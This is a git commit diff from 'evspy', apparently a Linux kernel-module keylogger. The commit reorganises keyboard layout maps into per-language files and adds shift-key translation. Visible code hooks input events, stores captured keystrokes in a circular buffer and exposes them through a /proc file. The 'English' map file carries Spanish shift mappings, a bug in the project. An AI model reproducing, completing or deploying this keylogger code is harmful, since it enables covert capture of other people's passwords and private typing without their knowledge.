aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorGuillermo Ramos2011-09-16 19:38:44 +0200
committerGuillermo Ramos2011-09-16 19:38:44 +0200
commit74ed96bd35757bc4446c6f42ac48ae09638b5e72 (patch)
treeea2f46b1690203f000e8d68daf7f3c77dba1790a
parent5f78bdac09842192ad1cae0f0e516e9020619ac7 (diff)
downloadevspy-74ed96bd35757bc4446c6f42ac48ae09638b5e72.tar.gz
One file for each keyboard layout. Shift implemented on spanish layout
-rw-r--r--evspy-core.c17
-rw-r--r--evspy-core.h30
-rw-r--r--khashmap/khashmap.c6
-rw-r--r--maps/map_en.h (renamed from maps.h)52
-rw-r--r--maps/map_es.h58
-rw-r--r--maps/maps.h45
6 files changed, 162 insertions, 46 deletions
diff --git a/evspy-core.c b/evspy-core.c
index 0171b5b..5f84e83 100644
--- a/evspy-core.c
+++ b/evspy-core.c
@@ -20,23 +20,12 @@
* <0xwille@gmail.com>
*/
-#include <linux/module.h>
-#include <linux/input.h>
-#include <linux/slab.h>
-#include <linux/init.h>
-#include <linux/proc_fs.h>
-#include <linux/stat.h>
-#include <linux/string.h>
-#include <linux/cred.h>
-#include <linux/sched.h>
#include "evspy-core.h"
-#include "khashmap/khashmap.h"
static char *buffer; // circular buffer
static char *rdp; // read pointer
static char *wrp; // write pointer
-static char *map = EVS_MAP; // current keyboard layout
static unsigned short int capslock_state = EVS_VAL_FREE;
static unsigned short int shift = 0;
@@ -180,7 +169,7 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
if (code == KEY_CAPSLOCK && value == EVS_VAL_PRESS) {
special_char(KEY_LEFTSHIFT, capslock_state);
return;
- } else if (type != EV_KEY || unlikely(code >= sizeof(EVS_MAP))) {
+ } else if (type != EV_KEY || unlikely(code >= sizeof(map))) {
return;
}
@@ -191,7 +180,7 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
// "Direct" keys (alphanumeric + some symbols)
} else if (value == EVS_VAL_PRESS) {
if (shift)
- evs_insert(evs_shift(map[code]));
+ evs_insert(evs_shift(code));
else
evs_insert(map[code]);
}
@@ -254,6 +243,8 @@ static int __init evspy_init(void)
{
create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL);
+ init_shiftmap();
+
buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL);
rdp = wrp = buffer;
diff --git a/evspy-core.h b/evspy-core.h
index 2af9dfe..6b60e45 100644
--- a/evspy-core.h
+++ b/evspy-core.h
@@ -1,14 +1,23 @@
-#include <asm/page.h>
+#include <linux/cred.h>
+#include <linux/init.h>
#include <linux/input.h>
-#include "maps.h"
+#include <linux/module.h>
+#include <linux/proc_fs.h>
+#include <linux/sched.h>
+#include <linux/slab.h>
+#include <linux/stat.h>
+#include <linux/string.h>
+#include <asm/page.h>
+#include "khashmap/khashmap.h"
#define EVS_NAME "evspy" // driver name
-#define EVS_MAP map_es // change this to your keyboard layout
-#define EVS_KLAY EVS_KLAY_ES // change default layout to spanish
+#define EVS_KLAY EVS_KLAY_EN // change this to your keyboard layout
#define EVS_TROLL 1 // clear this if you're a serious guy
#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K)
#define EVS_PROCNAME "driver/" EVS_NAME // virtual file within /proc
+#include "maps/maps.h"
+
#define MIN(x, y) (x) < (y) ? (x) : (y)
/*
@@ -66,9 +75,20 @@
((c) >= KEY_F13 && (c) <= KEY_F24); \
})
+/*
+ * Returns the character associated with event code c when shift is pressed
+ */
#define evs_shift(c) \
({ \
- ((c) >= 'a' && (c) <= 'z') ? (c) + ('A'-'a') : (c); \
+ void *__vp; \
+ char __c = (c); \
+ if (map[c] >= 'a' && map[c] <= 'z') { \
+ __c = map[c] + ('A'-'a'); \
+ } else { \
+ __vp = khm_get(shm, (c)); \
+ if (__vp) __c = *(char *)__vp; \
+ } \
+ __c; \
})
// Event values
diff --git a/khashmap/khashmap.c b/khashmap/khashmap.c
index 0a1360d..fac95f7 100644
--- a/khashmap/khashmap.c
+++ b/khashmap/khashmap.c
@@ -55,7 +55,7 @@ void khm_display(struct khashmap *head)
}
}
-struct khashmap *khm_create(void)
+inline struct khashmap *khm_create(void)
{
struct khashmap *head;
@@ -64,8 +64,6 @@ struct khashmap *khm_create(void)
return NULL;
INIT_LIST_HEAD(&head->l);
- head->value = 0;
- head->data = NULL;
return head;
}
@@ -98,8 +96,6 @@ int khm_insert(struct khashmap *head, int value, void *data)
new->value = value;
new->data = data;
-
- INIT_LIST_HEAD(&new->l);
list_add_tail(&new->l, &head->l);
return 0;
diff --git a/maps.h b/maps/map_en.h
index 8bac175..14c377e 100644
--- a/maps.h
+++ b/maps/map_en.h
@@ -1,29 +1,35 @@
/*
- * ## KEYBOARD LAYOUT MAPS ##
+ * ## ENGLISH KEYBOARD LAYOUT ## *
*
- * Each map is an array where the content of each position is the key value
- * associated with the event code (index). An special/unknown key is represented
- * as a dot ('.'). The dot key itself has its own macro (KEY_DOT).
- *
- * By the moment, evspy does not support non-ascii characters.
- *
- * Select your map with EVS_MAP macro in evspy-core.h
*/
-#ifndef __MAPS
-#define __MAPS
-
-#define EVS_KLAY_EN 0 // English standard layout
-#define EVS_KLAY_ES 1 // Spanish standard layout
+#ifndef __MAP_EN
+#define __MAP_EN
-#ifndef EVS_KLAY
-#define EVS_KLAY EVS_KLAY_EN // In case it is not defined in evspy-core.h
-#endif // EVS_KEYBOARD
-
-#if EVS_KLAY == EVS_KLAY_ES
-
-// Spanish
-static char map_es[] = {
+static void init_shiftmap(void)
+{
+ init_shiftmap_global();
+ EVS_SHIFT(KEY_1, "!");
+ EVS_SHIFT(KEY_2, "\"");
+ EVS_SHIFT(KEY_4, "$");
+ EVS_SHIFT(KEY_5, "%");
+ EVS_SHIFT(KEY_6, "&");
+ EVS_SHIFT(KEY_7, "/");
+ EVS_SHIFT(KEY_8, "(");
+ EVS_SHIFT(KEY_9, ")");
+ EVS_SHIFT(KEY_0, "=");
+ EVS_SHIFT(KEY_MINUS, "?");
+ EVS_SHIFT(KEY_EQUAL, "?"); // TODO change to '¿'
+ EVS_SHIFT(KEY_LEFTBRACE, "^");
+ EVS_SHIFT(KEY_RIGHTBRACE, "*");
+ EVS_SHIFT(KEY_SEMICOLON, "N"); // TODO change to 'Ñ'
+// EVS_SHIFT(KEY_GRAVE, "Ç"); // TODO enable
+ EVS_SHIFT(KEY_COMMA, ";");
+ EVS_SHIFT(KEY_DOT, ":");
+ EVS_SHIFT(KEY_SLASH, "_");
+ EVS_SHIFT(KEY_102ND, ">");
+}
+static char map[] = {
'.', '.', '1', '2', '3', //0 // 1:ESC
'4', '5', '6', '7', '8', //5
'9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII) 14:BACKSPACE
@@ -48,5 +54,5 @@ static char map_es[] = {
'.', '.', '.', '.', '.', //105 // 105:l_arrow 106:r_arrow 108:dwn_arrow
};
-#endif // EVS_KLAY == es
-#endif // __MAPS
+
+#endif // __MAP_EN
diff --git a/maps/map_es.h b/maps/map_es.h
new file mode 100644
index 0000000..0be1c84
--- /dev/null
+++ b/maps/map_es.h
@@ -0,0 +1,58 @@
+/*
+ * ## SPANISH KEYBOARD LAYOUT ## *
+ *
+ */
+
+#ifndef __MAP_ES
+#define __MAP_ES
+
+static void init_shiftmap(void)
+{
+ init_shiftmap_global();
+ EVS_SHIFT(KEY_1, "!");
+ EVS_SHIFT(KEY_2, "\"");
+ EVS_SHIFT(KEY_4, "$");
+ EVS_SHIFT(KEY_5, "%");
+ EVS_SHIFT(KEY_6, "&");
+ EVS_SHIFT(KEY_7, "/");
+ EVS_SHIFT(KEY_8, "(");
+ EVS_SHIFT(KEY_9, ")");
+ EVS_SHIFT(KEY_0, "=");
+ EVS_SHIFT(KEY_MINUS, "?");
+ EVS_SHIFT(KEY_EQUAL, "?"); // TODO change to '¿'
+ EVS_SHIFT(KEY_LEFTBRACE, "^");
+ EVS_SHIFT(KEY_RIGHTBRACE, "*");
+ EVS_SHIFT(KEY_SEMICOLON, "N"); // TODO change to 'Ñ'
+// EVS_SHIFT(KEY_GRAVE, "Ç"); // TODO enable
+ EVS_SHIFT(KEY_COMMA, ";");
+ EVS_SHIFT(KEY_DOT, ":");
+ EVS_SHIFT(KEY_SLASH, "_");
+ EVS_SHIFT(KEY_102ND, ">");
+}
+static char map[] = {
+ '.', '.', '1', '2', '3', //0 // 1:ESC
+ '4', '5', '6', '7', '8', //5
+ '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII) 14:BACKSPACE
+ '.', 'q', 'w', 'e', 'r', //15 // 15:TAB
+ 't', 'y', 'u', 'i', 'o', //20
+ 'p', '`', '+', '\n', '.', //25 // 29:LCTRL
+ 'a', 's', 'd', 'f', 'g', //30
+ 'h', 'j', 'k', 'l', 'n', //35 // 39:ñ (NOASCII)
+ '\'', '.', '.', 'c', 'z', //40 // 42:LMAYUS 43:ç (NOASCII)
+ 'x', 'c', 'v', 'b', 'n', //45
+ 'm', ',', '.', '-', '.', //50 // 52:. 54:RMAYUS
+ '*', '.', ' ', '.', '.', //55 // 56:ALT 58:BLKMAYUS 59-68:F1-F10
+ '.', '.', '.', '.', '.', //60
+ '.', '.', '.', '.', '.', //65
+ '.', '7', '8', '9', '-', //70
+ '4', '5', '6', '+', '1', //75
+ '2', '3', '.', '.', '.', //80
+ '.', '<', '.', '.', '.', //85
+ '.', '.', '.', '.', '.', //90
+ '.', '\n', '.', '/', '.', //95 // 97:RCTRL
+ '.', '.', '.', '.', '.', //100 // 100:ALTGR 103:up_arrow
+ '.', '.', '.', '.', '.', //105 // 105:l_arrow 106:r_arrow 108:dwn_arrow
+};
+
+
+#endif // __MAP_ES
diff --git a/maps/maps.h b/maps/maps.h
new file mode 100644
index 0000000..399d3df
--- /dev/null
+++ b/maps/maps.h
@@ -0,0 +1,45 @@
+/*
+ * ## KEYBOARD LAYOUT MAPS ##
+ *
+ * Each map is an array where the content of each position is the key value
+ * associated with the event code (index). An special/unknown key is represented
+ * as a dot ('.'). The dot key itself has its own macro (KEY_DOT).
+ *
+ * By the moment, evspy does not support non-ascii characters.
+ *
+ * Select your map with EVS_MAP macro in evspy-core.h
+ */
+
+#ifndef __EVS_MAPS
+#define __EVS_MAPS
+
+#include <linux/input.h>
+#include "../khashmap/khashmap.h"
+
+#define EVS_SHIFT(KEY, VALUE) khm_insert(shm, (KEY), (VALUE))
+
+static struct khashmap *shm;
+
+static inline void exit_map(void)
+{
+ khm_destroy(shm);
+}
+
+static inline void init_shiftmap_global(void)
+{
+ shm = khm_create();
+}
+
+#define EVS_KLAY_EN 0
+#define EVS_KLAY_ES 1
+
+// Load the map associated with the given keyboard layout
+#ifndef EVS_KLAY
+#include "map_es.h" // default layout
+#elif EVS_KLAY == EVS_KLAY_EN
+#include "map_en.h"
+#elif EVS_KLAY == EVS_KLAY_ES
+#include "map_es.h"
+#endif // EVS_KLAY
+
+#endif // __EVS_MAPS